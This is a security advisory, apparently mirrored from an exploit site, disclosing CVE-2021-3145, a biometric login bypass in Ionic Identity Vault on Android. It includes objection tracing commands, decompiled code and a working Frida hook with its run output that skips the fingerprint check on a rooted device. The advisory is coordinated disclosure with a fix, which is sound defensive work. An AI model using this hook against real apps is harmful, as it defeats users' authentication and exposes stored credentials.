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## https://sploitus.com/exploit?id=PACKETSTORM:164085
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#  
# COMPASS SECURITY ADVISORY  
# https://www.compass-security.com/research/advisories/  
#  
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#  
# Product: Identity Vault  
# Vendor: Ionic  
# CSNC ID: CSNC-2021-001  
# CVE ID: CVE-2021-3145  
# Subject: Biometric Authentication Bypass on Android  
# Severity: Medium  
# Effect: Authentication Bypass  
# Author: Emanuel Duss <emanuel.duss@compass-security.com>  
# Date: 2021-09-06  
#  
#############################################################  
  
Introduction  
------------  
  
Ionic Identity Vault is a secure storage solution for Android and iOS mobile  
apps which can e.g. be used to store authentication information like access  
tokens [1]. This information can be protected, so that the user has to  
authenticate first, before the information is unlocked.  
  
Identity Vault provides different authentication methods:  
  
- Memory only storage (not persisted at all)  
- Secure storage (without user authentication)  
- Passcode (PIN) authentication  
- Biometric authentication (optionally with device PIN fallback)  
  
During a customer project, we could bypass the biometric authentication  
mechanism of Ionic Identity Vault on Android, because the Android KeyStore  
entry does not require any authentication.  
  
  
Affected  
--------  
  
- Vulnerable: Ionic Identity Vault <= 4.7  
- Not vulnerable: Ionic Identity Vault >= 5  
  
  
Technical Description  
---------------------  
  
# Key Unlock Method  
  
When the user enables biometric authentication, the `automaticallyCreateKey`  
method is called:  
  
# objection --gadget org.example.app explore \  
--startup-command 'android hooking watch class "com.ionicframework.auth.IonicKeychainAuthenticatedStorage" \  
--dump-args --dump-backtrace --dump-return'  
[CUT BY COMPASS]  
(agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.saveKey(android.content.Context, javax.crypto.SecretKey)  
(agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.automaticallyCreateKey()  
(agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)  
(agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)  
  
This method creates a new KeyStore entry using the  
`KeyGenParameterSpec.Builder` method:  
  
@TargetApi(23)  
private boolean automaticallyCreateKey() {  
synchronized ("keyLock") {  
boolean z = false;  
try {  
KeyStore.getInstance(EncryptionConstants.ANDROID_KEY_STORE).load(null);  
KeyGenerator keyGenerator = KeyGenerator.getInstance(this.mAlgorithm, EncryptionConstants.ANDROID_KEY_STORE);  
keyGenerator.init(new KeyGenParameterSpec.Builder(this.mKeyAlias, 3).setBlockModes(this.mBlockMode).setUserAuthenticationValidityDurationSeconds(this.mAuthDurationSeconds).setEncryptionPaddings(this.mPadding).build());  
this.mSecretKey = keyGenerator.generateKey();  
if (this.mSecretKey != null) {  
z = true;  
}  
return z;  
} catch (KeyStoreException e) {  
[CUT BY COMPASS] // more catches  
}  
}  
  
The `setUserAuthenticationRequired` method [2] is not used. This means that the  
user does not have to authenticate either via biometric authentication  
(fingerprint) or device PIN.  
  
The KeyStore entry can therefore be used without user authentication and does  
not prompt the user for the fingerprint. Instead, another functionality is used  
to show the biometric authentication prompt to authenticate the user.  
  
  
# Biometric Authentication Prompt  
  
When the user has to provide the fingerprint, the `loadKey` method is called:  
  
# objection -gadget org.example.app explore \  
--startup-command 'android hooking watch class "com.ionicframework.auth.IonicKeychainAuthenticatedStorage" \  
--dump-args --dump-backtrace --dump-return'  
[CUT BY COMPASS]  
(agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)  
(agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)  
(agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.lock()  
(agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)  
(agent) [2122602752446] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)  
  
Before the `loadKey` method is used to load the key, the method  
`onBiometricActivityResult` is called:  
  
# objection --gadget org.example.app explore \  
--startup-command 'android hooking watch class_method "com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey" \  
--dump-args --dump-backtrace --dump-return'  
[CUT BY COMPASS]  
(agent) [5363570796531] Called com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(android.content.Context)  
(agent) [5363570796531] Backtrace:  
com.ionicframework.auth.IonicKeychainAuthenticatedStorage.loadKey(Native Method)  
com.bottlerocketstudios.vault.StandardSharedPreferenceVault.getString(StandardSharedPreferenceVault.java:212)  
com.ionicframework.auth.IonicCombinedVault.unlock(IonicCombinedVault.java:322)  
com.ionicframework.auth.IdentityVault.forceUnlock(IdentityVault.java:265)  
com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(IonicNativeAuth.java:482)  
com.ionicframework.auth.IonicNativeAuth.onActivityResult(IonicNativeAuth.java:472)  
[CUT BY COMPASS]  
  
This method `onBiometricActivityResult` takes the authentication result as an  
argument. When the `resultCode` is `-1`, authentication is successful and the  
`forceUnlock` method is called. Otherwise, the authentication fails:  
  
private void onBiometricActivityResult(int resultCode, Intent intent) {  
IdentityVault identityVault = this.mCurrentVault;  
identityVault.doTheLifecycles = true;  
this.mLockedOutOfBiometrics = false;  
if (resultCode == -1) {  
try {  
identityVault.forceUnlock();  
success(this.mLastCallbackContext);  
} catch (VaultError e) {  
error(this.mLastCallbackContext, e);  
}  
} else if (intent != null) {  
[CUT BY COMPASS] // Authentication Failed  
  
  
This can be seen in the backtrace when the authentication is successful:  
  
# objection --gadget org.example.app explore \  
--startup-command 'android hooking watch class_method "com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult" \  
--dump-args --dump-backtrace --dump-return'  
(agent) [6161244117830] Called com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(int, android.content.Intent)  
(agent) [6161244117830] Backtrace:  
com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(Native Method)  
[CUT BY COMPASS]  
(agent) [6161244117830] Arguments com.ionicframework.auth.IonicNativeAuth.onBiometricActivityResult(-1, "(none)")  
(agent) [6161244117830] Return Value: "(none)"  
  
Because the KeyStore entry does not require user authentication, this method  
can be hooked in order to bypass biometric authentication.  
  
  
# Biometric Authentication Bypass Hook  
  
The following Frida hook (`frida_hook_fingerprint_bypass.js`) can be used to  
bypass biometric authentication:  
  
Java.perform(function x() {  
var myclass = Java.use("com.ionicframework.auth.IonicNativeAuth");  
myclass.onBiometricActivityResult.implementation = function (a, b) {  
console.log("[*] Biometric Authentication Bypass Hook");  
console.log("Class: com.ionicframework.auth.IonicNativeAuth");  
console.log(" Method: onBiometricActivityResult");  
console.log(" Parameter: " + a);  
console.log("Change result from 0 to -1 in order to bypass authentication.");  
this.onBiometricActivityResult(-1, b); // This calls the method always with -1  
}  
});  
  
Executing the Frida hook:  
  
# frida -U -f org.example.app -l frida_hook_fingerprint_bypass.js --no-pause  
  
When the biometric authentication (fingerprit) dialogue appears, the dialogue  
can be cancelled by clicking somewhere besides the prompt.  
  
The hook is then executed:  
  
[Pixel 3::org.example.app]->  
[*] Biometric Authentication Bypass Hook  
Class: com.ionicframework.auth.IonicNativeAuth  
Method: onBiometricActivityResult  
Parameter: 0  
Change result from 0 to -1 in order to bypass authentication.  
  
The user is logged in without providing a valid fingerprint.  
  
This also works if the Ionic Identity Vault configuration  
`allowSystemPinFallback` is set to `false`.  
  
It has to be noted, that the attacker has to be able to execute code as root on  
the phone to perform this attack.  
  
  
Vulnerability Classification  
----------------------------  
  
CVSS v3.1 Metrics [3]:  
  
- CVSS Base Score: 4.1 (Medium)  
- CVSS Vector: AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N  
  
  
Workaround / Fix  
----------------  
  
# Ionic Identity Vault Library Vendor  
  
Ionic as the vendor of the Identity Vault library has to fix this issue as  
follows.  
  
For the biometric authentication mechanism with device PIN fallback:  
  
- The KeyStore setting `setUserAuthenticationRequired` should be set to `true`  
in order to enforce authentication (either with biometrics or the device  
PIN).  
  
For the biometric authentication mechanism without device PIN fallback:  
  
- The KeyStore setting `setUserAuthenticationRequired` should be set to `true`  
in order to enforce authentication.  
- The KeyStore setting `setUserAuthenticationValidityDurationSeconds ` should  
be set to `-1` in order to enforce biometric authentication.  
  
On Android >=11, the setting `setUserAuthenticationValidityDurationSeconds` is  
deprecated and `setUserAuthenticationParameters` should be set to `0,1` instead  
to enforce biometric authentication.  
  
See the Android Developer Reference on `KeyGenParameterSpec.Builder` for more  
information [2].  
  
  
# Ionic Identity Vault Library Users  
  
Customers of the Ionic Identity Vault should use the updated version Identity Vault 5.  
  
  
Acknowledgement  
---------------  
  
A very big thank you to my colleague Alex Joss for the support in analyzing  
this vulnerability. This was very interesting and I learned a lot!  
  
  
Timeline  
--------  
  
2020-12-11: Vulnerability discovered  
2021-01-13: Requested CVE ID @ MITRE  
2021-01-14: Opened ticket at Ionic  
Asked for security contact via Twitter DM (@Ionicframework)  
Assigned CVE-2021-3145  
2021-01-15: Asked for security contact via Twitter & IRC (#ionic on freenode)  
2021-01-18: Got contact details via Twitter DM. Asked how to send details  
2021-01-20: Asked again how to send details  
2021-01-21: Sent details via email. Ionic will discuss the issue internally  
2021-02-03: Asked for a status update  
2021-02-09: Vendor confirmed vulnerability & will fix it in 90 days  
2021-08-17: Asked for status since vendor did inform us  
2021-08-19: Vendor told it should be fixed in version 5  
2021-09-06: Coordinated public disclosure  
  
  
References  
----------  
  
[1] https://ionic.io/docs/identity-vault  
[2] https://developer.android.com/reference/android/security/keystore/KeyGenParameterSpec.Builder  
[3] https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:N/A:N&version=3.1